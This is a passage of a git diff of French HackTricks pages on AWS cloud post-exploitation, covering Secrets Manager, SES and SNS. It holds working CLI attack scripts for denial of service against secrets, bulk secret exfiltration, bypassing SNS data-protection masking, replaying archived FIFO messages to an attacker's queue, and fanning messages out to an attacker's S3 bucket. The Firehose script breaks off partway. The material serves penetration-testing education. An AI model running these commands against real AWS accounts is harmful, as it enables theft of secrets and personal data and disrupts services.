puisque la version actuelle est toujours chiffrée avec la clé KMS originale. -```bash -aws secretsmanager update-secret \ ---secret-id MyTestSecret \ ---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE -``` -### DoS Deleting Secret - -Le nombre minimum de jours pour supprimer un secret est de 7. -```bash -aws secretsmanager delete-secret \ ---secret-id MyTestSecret \ ---recovery-window-in-days 7 -``` -## secretsmanager:RestoreSecret - -Il est possible de restaurer un secret, ce qui permet la récupération de secrets programmés pour suppression, puisque la période minimale de suppression des secrets est de 7 jours et la maximale de 30 jours. Associée à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu. - -Pour récupérer un secret qui est en cours de suppression, vous pouvez utiliser la commande suivante : -```bash -aws secretsmanager restore-secret \ ---secret-id -``` -## secretsmanager:DeleteResourcePolicy - -Cette action permet de supprimer la politique de ressource qui contrôle qui peut accéder à un secret. Cela pourrait entraîner un DoS si la politique de ressource était configurée pour autoriser l'accès à un ensemble spécifique d'utilisateurs. - -Pour supprimer la politique de ressource: -```bash -aws secretsmanager delete-resource-policy \ ---secret-id -``` -## secretsmanager:UpdateSecretVersionStage - -Les états d'un secret sont utilisés pour gérer les versions d'un secret. AWSCURRENT marque la version active que les applications utilisent, AWSPREVIOUS conserve la version précédente afin que vous puissiez revenir en arrière si nécessaire, et AWSPENDING est utilisé dans le processus de rotation pour préparer et valider une nouvelle version avant d'en faire la version actuelle. - -Les applications lisent toujours la version marquée AWSCURRENT. Si quelqu'un déplace cette étiquette vers la mauvaise version, les applications utiliseront des identifiants invalides et risquent d'échouer. - -AWSPREVIOUS n'est pas utilisé automatiquement. Cependant, si AWSCURRENT est supprimé ou réaffecté incorrectement, il peut sembler que tout fonctionne encore avec la version précédente. -```bash -aws secretsmanager update-secret-version-stage \ ---secret-id \ ---version-stage AWSCURRENT \ ---move-to-version-id \ ---remove-from-version-id -``` -{{#include ../../../banners/hacktricks-training.md}} - - - - - -### Exfiltration massive de secrets via BatchGetSecretValue (jusqu'à 20 par appel) - -Abusez de l'API Secrets Manager BatchGetSecretValue pour récupérer jusqu'à 20 secrets dans une seule requête. Cela peut réduire drastiquement le volume d'appels API par rapport à l'itération GetSecretValue par secret. Si des filtres sont utilisés (tags/name), la permission ListSecrets est également requise. CloudTrail enregistre toujours un événement GetSecretValue par secret récupéré dans le batch. - -Permissions requises -- secretsmanager:BatchGetSecretValue -- secretsmanager:GetSecretValue for each target secret -- secretsmanager:ListSecrets if using --filters -- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager) - -> [!WARNING] -> Notez que la permission `secretsmanager:BatchGetSecretValue` n'est pas suffisante pour récupérer des secrets ; vous avez aussi besoin de `secretsmanager:GetSecretValue` pour chaque secret que vous souhaitez récupérer. - -Exfiltrer par liste explicite -```bash -aws secretsmanager batch-get-secret-value \ ---secret-id-list \ ---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' -``` -Exfiltrer par filtres (clé/valeur de tag ou préfixe de nom) -```bash -# By tag key -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-key,Values=env \ ---max-results 20 \ ---query 'SecretValues[].{Name:Name,Val:SecretString}' - -# By tag value -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-value,Values=prod \ ---max-results 20 - -# By name prefix -aws secretsmanager batch-get-secret-value \ ---filters Key=name,Values=MyApp -``` -Gestion des échecs partiels -```bash -# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters -aws secretsmanager batch-get-secret-value --secret-id-list -``` -Impact -- Accès rapide de type “smash-and-grab” à de nombreux secrets avec moins d'appels API, contournant potentiellement des alertes calibrées sur des pics de GetSecretValue. -- Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par le lot. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md new file mode 100644 index 000000000..83fb9f66d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md @@ -0,0 +1,130 @@ +# AWS - Secrets Manager Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Pour plus d'informations, voir : + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Lire les secrets + +Les **secrets** eux-mêmes sont des informations sensibles, [consultez la page privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) pour apprendre à les lire. + +### DoS — Changer la valeur du secret + +En changeant la valeur du secret, vous pourriez **DoS tous les systèmes qui dépendent de cette valeur.** + +> [!WARNING] +> Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente. +```bash +# Requires permission secretsmanager:PutSecretValue +aws secretsmanager put-secret-value \ +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +``` +### DoS Change KMS key + +Si l'attaquant dispose de la permission secretsmanager:UpdateSecret, il peut configurer le secret pour qu'il utilise une KMS key appartenant à l'attaquant. Cette clé est initialement configurée de manière à ce que n'importe qui puisse y accéder et l'utiliser, ce qui rend possible la mise à jour du secret avec la nouvelle clé. Si la clé n'était pas accessible, le secret n'aurait pas pu être mis à jour. + +Après avoir changé la clé du secret, l'attaquant modifie la configuration de sa clé pour que seul lui puisse y accéder. Ainsi, dans les versions suivantes du secret, celui-ci sera chiffré avec la nouvelle clé et, comme il n'y aura pas d'accès à cette clé, la possibilité de récupérer le secret sera perdue. + +Il est important de noter que cette inaccessibilité n'interviendra que dans les versions ultérieures, après que le contenu du secret aura changé, puisque la version actuelle est encore chiffrée avec la KMS key originale. +```bash +aws secretsmanager update-secret \ +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +``` +### DoS Suppression de Secret + +Le nombre minimum de jours pour supprimer un Secret est de 7. +```bash +aws secretsmanager delete-secret \ +--secret-id MyTestSecret \ +--recovery-window-in-days 7 +``` +## secretsmanager:RestoreSecret + +Il est possible de restaurer un secret, ce qui permet de récupérer des secrets programmés pour suppression, car la période minimale de suppression des secrets est de 7 jours et la maximale de 30 jours. Associé à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu. + +Pour récupérer un secret en cours de suppression, vous pouvez utiliser la commande suivante : +```bash +aws secretsmanager restore-secret \ +--secret-id +``` +## secretsmanager:DeleteResourcePolicy + +Cette action permet de supprimer la resource policy qui contrôle qui peut accéder à un secret. Cela pourrait entraîner un DoS si la resource policy était configurée pour autoriser l'accès à un ensemble précis d'utilisateurs. + +Pour supprimer la resource policy : +```bash +aws secretsmanager delete-resource-policy \ +--secret-id +``` +## secretsmanager:UpdateSecretVersionStage + +Les états d'un secret sont utilisés pour gérer les versions d'un secret. AWSCURRENT marque la version active utilisée par les applications, AWSPREVIOUS conserve la version précédente pour pouvoir revenir en arrière si nécessaire, et AWSPENDING est utilisé dans le processus de rotation pour préparer et valider une nouvelle version avant de la rendre courante. + +Les applications lisent toujours la version marquée AWSCURRENT. Si quelqu'un déplace ce label vers la mauvaise version, les apps utiliseront des identifiants invalides et peuvent échouer. + +AWSPREVIOUS n'est pas utilisé automatiquement. Cependant, si AWSCURRENT est supprimé ou réaffecté incorrectement, il peut sembler que tout fonctionne toujours avec la version précédente. +```bash +aws secretsmanager update-secret-version-stage \ +--secret-id \ +--version-stage AWSCURRENT \ +--move-to-version-id \ +--remove-from-version-id +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Exfiltration massive de secrets via BatchGetSecretValue (jusqu'à 20 par appel) + +Abusez de l'API Secrets Manager BatchGetSecretValue pour récupérer jusqu'à 20 secrets dans une seule requête. Cela peut réduire fortement le volume d'appels API par rapport à l'itération avec GetSecretValue pour chaque secret. Si des filtres sont utilisés (tags/name), la permission ListSecrets est également requise. CloudTrail enregistre toujours un événement GetSecretValue par secret récupéré dans le batch. + +Permissions requises +- secretsmanager:BatchGetSecretValue +- secretsmanager:GetSecretValue for each target secret +- secretsmanager:ListSecrets if using --filters +- kms:Decrypt sur les CMK utilisées par les secrets (si vous n'utilisez pas aws/secretsmanager) + +> [!WARNING] +> Notez que la permission `secretsmanager:BatchGetSecretValue` n'est pas suffisante pour récupérer les secrets, vous avez également besoin de `secretsmanager:GetSecretValue` pour chaque secret que vous souhaitez récupérer. + +Exfiltrer par liste explicite +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +Exfiltrate par filtres (tag key/value or name prefix) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +Gestion des échecs partiels +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +Impact +- Accès rapide “smash-and-grab” à de nombreux secrets avec moins d'appels API, pouvant potentiellement contourner les alertes configurées pour détecter les pics de GetSecretValue. +- Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par le lot. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md similarity index 75% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md index 26334d87e..cffe2caf3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - SES Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SES Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-ses-enum.md +../../aws-services/aws-ses-enum.md {{#endref}} ### `ses:SendEmail` -Envoyer un email. +Envoyer un e-mail. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json @@ -25,6 +25,8 @@ Envoyer un e-mail. ```bash aws ses send-raw-email --raw-message file://message.json ``` +Encore à tester. + ### `ses:SendTemplatedEmail` Envoyer un e-mail basé sur un modèle. @@ -49,17 +51,19 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -Envoyer un **email de rebond** sur un email reçu (indiquant que l'email n'a pas pu être reçu). Cela ne peut être fait **que jusqu'à 24h après la réception** de l'email. +Envoyer un **message de rebond** sur un e-mail reçu (indiquant que l'e-mail n'a pas pu être reçu). Cela ne peut être fait que **jusqu'à 24h après la réception** de l'e-mail. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` +Encore à tester. + ### `ses:SendCustomVerificationEmail` -Cela enverra un e-mail de vérification personnalisé. Vous pourriez également avoir besoin de permissions pour créer le modèle d'e-mail. +Cela enverra un e-mail de vérification personnalisé. Vous pourriez également avoir besoin d'autorisations pour créer le modèle d'e-mail. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -Toujours à tester. +À tester. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md deleted file mode 100644 index a9dd704bb..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ /dev/null @@ -1,68 +0,0 @@ -# AWS - SNS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Pour plus d'informations : - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Disrupt Messages - -Dans plusieurs cas, les sujets SNS sont utilisés pour envoyer des messages à des plateformes qui sont surveillées (emails, messages slack...). Si un attaquant empêche l'envoi des messages qui alertent de sa présence dans le cloud, il pourrait rester indétecté. - -### `sns:DeleteTopic` - -Un attaquant pourrait supprimer un sujet SNS entier, entraînant une perte de messages et impactant les applications s'appuyant sur le sujet. -```bash -aws sns delete-topic --topic-arn -``` -**Impact potentiel** : Perte de messages et interruption de service pour les applications utilisant le sujet supprimé. - -### `sns:Publish` - -Un attaquant pourrait envoyer des messages malveillants ou indésirables au sujet SNS, provoquant potentiellement une corruption des données, déclenchant des actions non intentionnelles ou épuisant les ressources. -```bash -aws sns publish --topic-arn --message -``` -**Impact potentiel** : Corruption des données, actions non intentionnelles ou épuisement des ressources. - -### `sns:SetTopicAttributes` - -Un attaquant pourrait modifier les attributs d'un sujet SNS, affectant potentiellement sa performance, sa sécurité ou sa disponibilité. -```bash -aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value -``` -**Impact potentiel** : Des erreurs de configuration entraînant une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite. - -### `sns:Subscribe` , `sns:Unsubscribe` - -Un attaquant pourrait s'abonner ou se désabonner d'un sujet SNS, pouvant ainsi obtenir un accès non autorisé aux messages ou perturber le fonctionnement normal des applications s'appuyant sur le sujet. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -aws sns unsubscribe --subscription-arn -``` -**Impact potentiel** : Accès non autorisé aux messages, interruption de service pour les applications s'appuyant sur le sujet affecté. - -### `sns:AddPermission` , `sns:RemovePermission` - -Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, ou révoquer les autorisations pour des utilisateurs légitimes, provoquant des perturbations dans le fonctionnement normal des applications qui dépendent du sujet. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -aws sns remove-permission --topic-arn --label -``` -**Impact potentiel** : Accès non autorisé au sujet, exposition des messages ou manipulation du sujet par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications s'appuyant sur le sujet. - -### `sns:TagResource` , `sns:UntagResource` - -Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources SNS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les balises. -```bash -aws sns tag-resource --resource-arn --tags Key=,Value= -aws sns untag-resource --resource-arn --tag-keys -``` -**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md new file mode 100644 index 000000000..f2de5e78a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md @@ -0,0 +1,82 @@ +# AWS - SNS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Pour plus d'informations : + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Perturbation des messages + +Dans plusieurs cas, les SNS topics sont utilisés pour envoyer des messages vers des plateformes surveillées (emails, slack messages...). Si un attaquant empêche l'envoi des messages qui alertent de sa présence dans le cloud, il pourrait rester indétecté. + +### `sns:DeleteTopic` + +Un attaquant pourrait supprimer un SNS topic entier, entraînant la perte de messages et affectant les applications qui dépendent de ce topic. +```bash +aws sns delete-topic --topic-arn +``` +**Impact potentiel** : Perte de messages et interruption de service pour les applications utilisant le topic supprimé. + +### `sns:Publish` + +Un attaquant pourrait envoyer des messages malveillants ou indésirables au SNS topic, provoquant potentiellement la corruption de données, le déclenchement d'actions involontaires, ou l'épuisement des ressources. +```bash +aws sns publish --topic-arn --message +``` +**Impact potentiel** : corruption de données, actions non désirées ou épuisement des ressources. + +### `sns:SetTopicAttributes` + +Un attaquant pourrait modifier les attributs d'un topic SNS, affectant potentiellement ses performances, sa sécurité ou sa disponibilité. +```bash +aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value +``` +**Impact potentiel** : Mauvaise(s) configuration(s) entraînant une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite. + +### `sns:Subscribe` , `sns:Unsubscribe` + +Un attaquant pourrait s'abonner ou se désabonner d'un topic SNS, obtenant potentiellement un accès non autorisé aux messages ou perturbant le fonctionnement normal des applications s'appuyant sur ce topic. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +aws sns unsubscribe --subscription-arn +``` +**Potential Impact**: Accès non autorisé aux messages, interruption de service pour les applications qui dépendent du topic affecté. + +### `sns:AddPermission` , `sns:RemovePermission` + +Un attaquant pourrait accorder à des utilisateurs ou des services non autorisés l'accès à un topic SNS, ou révoquer les permissions d'utilisateurs légitimes, provoquant des perturbations dans le fonctionnement normal des applications qui s'appuient sur le topic. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +aws sns remove-permission --topic-arn --label +``` +**Impact potentiel**: Accès non autorisé au topic, exposition des messages, ou manipulation du topic par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications s'appuyant sur le topic. + +### `sns:TagResource` , `sns:UntagResource` + +Un attaquant pourrait ajouter, modifier ou supprimer des tags sur les ressources SNS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags. +```bash +aws sns tag-resource --resource-arn --tags Key=,Value= +aws sns untag-resource --resource-arn --tag-keys +``` +**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags. + +### Autres techniques de Post-Exploitation SNS + +{{#ref}} +aws-sns-data-protection-bypass.md +{{#endref}} + +{{#ref}} +aws-sns-fifo-replay-exfil.md +{{#endref}} + +{{#ref}} +aws-sns-firehose-exfil.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md new file mode 100644 index 000000000..eada2736f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md @@ -0,0 +1,92 @@ +# AWS - SNS Message Data Protection : contournement via rétrogradation de la politique + +{{#include ../../../../banners/hacktricks-training.md}} + +Si vous avez `sns:PutDataProtectionPolicy` sur un topic, vous pouvez changer sa politique Message Data Protection de Deidentify/Deny en Audit-only (ou supprimer les contrôles Outbound) afin que des valeurs sensibles (par ex., numéros de carte de crédit) soient livrées non modifiées à votre abonnement. + +## Prérequis +- Permissions sur le topic cible pour appeler `sns:PutDataProtectionPolicy` (et généralement `sns:Subscribe` si vous voulez recevoir les données). +- Topic SNS standard (Message Data Protection supporté). + +## Étapes de l'attaque + +- Variables + +```bash +REGION=us-east-1 +``` + +1) Créez un topic standard et une file SQS d'attaquant, et autorisez uniquement ce topic à envoyer vers la file + +```bash +TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text) +Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17 +``` + +2) Attachez une data protection policy qui masque les numéros de carte de crédit dans les messages outbound + +```bash +cat > /tmp/ht-dlp-policy.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "MaskCCOutbound", +"Principal": ["*"], +"DataDirection": "Outbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)" +``` + +3) Abonnez la file de l'attaquant et publiez un message contenant un numéro de carte de test, vérifiez le masquage + +```bash +SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text) +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` + +L'extrait attendu montre le masquage (hashes) : +```json +"Message" : "payment:{cc:################}" +``` +4) Rétrograder la politique en audit-only (aucune instruction de deidentify/deny affectant Outbound) + +Pour SNS, les statements Audit doivent être Inbound. Remplacer la politique par une instruction Inbound en Audit-only supprime toute dé-identification Outbound, donc les messages transitent non modifiés vers les subscribers. +```bash +cat > /tmp/ht-dlp-audit-only.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "AuditInbound", +"Principal": ["*"], +"DataDirection": "Inbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)" +``` + +5) Publier le même message et vérifier que la valeur non masquée est livrée +```bash +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` +Extrait attendu montrant le CC en clair : +```text +4539894458086459 +``` +## Impact +- Le passage d'un topic de de-identification/deny à audit-only (ou la suppression des Outbound controls) permet à PII/secrets de transiter sans modification vers des subscriptions contrôlées par un attaquant, autorisant une exfiltration de données qui aurait autrement été masquée ou bloquée. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md new file mode 100644 index 000000000..8413845b7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md @@ -0,0 +1,100 @@ +# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription + +{{#include ../../../../banners/hacktricks-training.md}} + +Abus de l'archivage des messages d'un topic Amazon SNS FIFO pour rejouer et exfiltrer des messages publiés précédemment vers une file SQS FIFO contrôlée par l'attaquant en configurant l'attribut ReplayPolicy de la subscription. + +- Service : Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues) +- Requirements : Le topic doit avoir ArchivePolicy activé (archivage des messages). L'attaquant peut Subscribe au topic et définir des attributs sur sa subscription. L'attaquant contrôle une SQS FIFO queue et autorise le topic à envoyer des messages. +- Impact : Des messages historiques (publiés avant la subscription) peuvent être délivrés au endpoint contrôlé par l'attaquant. Les livraisons rejouées sont marquées avec Replayed=true dans l'enveloppe SNS. + +## Preconditions +- SNS FIFO topic avec archivage activé : `ArchivePolicy` (par ex. `{ "MessageRetentionPeriod": "2" }` pour 2 jours). +- L'attaquant dispose des permissions suivantes : +- `sns:Subscribe` sur le topic cible. +- `sns:SetSubscriptionAttributes` sur la subscription créée. +- L'attaquant a une SQS FIFO queue et peut attacher une queue policy permettant `sns:SendMessage` depuis le topic ARN. + +## Minimum IAM permissions +- Sur le topic : `sns:Subscribe`. +- Sur la subscription : `sns:SetSubscriptionAttributes`. +- Sur la queue : `sqs:SetQueueAttributes` pour la policy, et une queue policy autorisant `sns:SendMessage` depuis le topic ARN. + +## Attack: Replay archived messages to attacker SQS FIFO +L'attaquant inscrit sa SQS FIFO queue au topic SNS FIFO de la victime, puis définit le `ReplayPolicy` sur un timestamp passé (dans la fenêtre de rétention de l'archive). SNS rejoue immédiatement les messages archivés correspondants vers la nouvelle subscription et les marque avec `Replayed=true`. + +Notes : +- Le timestamp utilisé dans `ReplayPolicy` doit être >= le `BeginningArchiveTime` du topic. S'il est antérieur, l'API renvoie `Invalid StartingPoint value`. +- Pour SNS FIFO `Publish`, vous devez spécifier un `MessageGroupId` (et soit un dedup ID soit activer `ContentBasedDeduplication`). + +
+End-to-end CLI POC (us-east-1) +```bash +REGION=us-east-1 +# Compute a starting point; adjust later to >= BeginningArchiveTime if needed +TS_START=$(python3 - << 'PY' +from datetime import datetime, timezone, timedelta +print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) +PY +) + +# 1) Create SNS FIFO topic with archiving (2-day retention) +TOPIC_NAME=htreplay$(date +%s).fifo +TOPIC_ARN=$(aws sns create-topic --region "$REGION" \ +--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \ +--query TopicArn --output text) + +echo "Topic: $TOPIC_ARN" + +# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId) +for i in $(seq 1 3); do +aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \ +--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \ +--message-group-id g1 >/dev/null +done + +# 3) Create attacker SQS FIFO queue and allow only this topic to send +Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \ +--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \ +--attribute-names QueueArn --query Attributes.QueueArn --output text) + +cat > /tmp/ht-replay-sqs-policy.json <= BeginningArchiveTime +BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text) +START=${TS_START} +if [ -n "$BEGIN" ]; then START="$BEGIN"; fi + +aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \ +--attribute-name ReplayPolicy \ +--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}" + +# 6) Receive replayed messages (note Replayed=true in the SNS envelope) +aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \ +--max-number-of-messages 10 --wait-time-seconds 10 \ +--message-attribute-names All --attribute-names All +``` +
+ +## Impact +**Impact potentiel** : Un attaquant qui peut s'abonner à un SNS FIFO topic avec l'archivage activé et définir `ReplayPolicy` sur son abonnement peut immédiatement rejouer et exfiltrer des messages historiques publiés sur ce topic, et pas seulement les messages envoyés après la création de l'abonnement. Les messages livrés incluent un indicateur `Replayed=true` dans l'enveloppe SNS. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md new file mode 100644 index 000000000..fe3122917 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -0,0 +1,76 @@ +# AWS - SNS vers Kinesis Firehose Exfiltration (Fanout vers S3) + +{{#include ../../../../banners/hacktricks-training.md}} + +Abusez le protocole de subscription Firehose pour enregistrer un Kinesis Data Firehose delivery stream contrôlé par un attacker sur un topic SNS standard victim. Une fois la subscription en place et que le rôle IAM requis fait confiance à `sns.amazonaws.com`, chaque notification future est durablement écrite dans le S3 bucket de l'attacker avec un minimum de bruit. + +## Exigences +- Permissions dans le compte de l'attacker pour créer un S3 bucket, un Firehose delivery stream, et le rôle IAM utilisé par Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.). +- La capacité de `sns:Subscribe` au topic victim (et optionnellement `sns:SetSubscriptionAttributes` si l'ARN du rôle de subscription est fourni après la création). +- Une topic policy qui permet au principal attacker de s'abonner (ou l'attacker opère déjà dans le même compte). + +## Étapes de l'attaque (exemple dans le même compte) +```bash +REGION=us-east-1 +ACC_ID=$(aws sts get-caller-identity --query Account --output text) +SUFFIX=$(date +%s) + +# 1) Create attacker S3 bucket and Firehose delivery stream +ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX +aws s3 mb s3://$ATTACKER_BUCKET --region $REGION + +STREAM_NAME=ht-firehose-stream-$SUFFIX +FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX + +# Role Firehose assumes to write into the bucket +aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/firehose-s3-policy.json </dev/null + +# 2) IAM role SNS assumes when delivering into Firehose +SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX +aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": 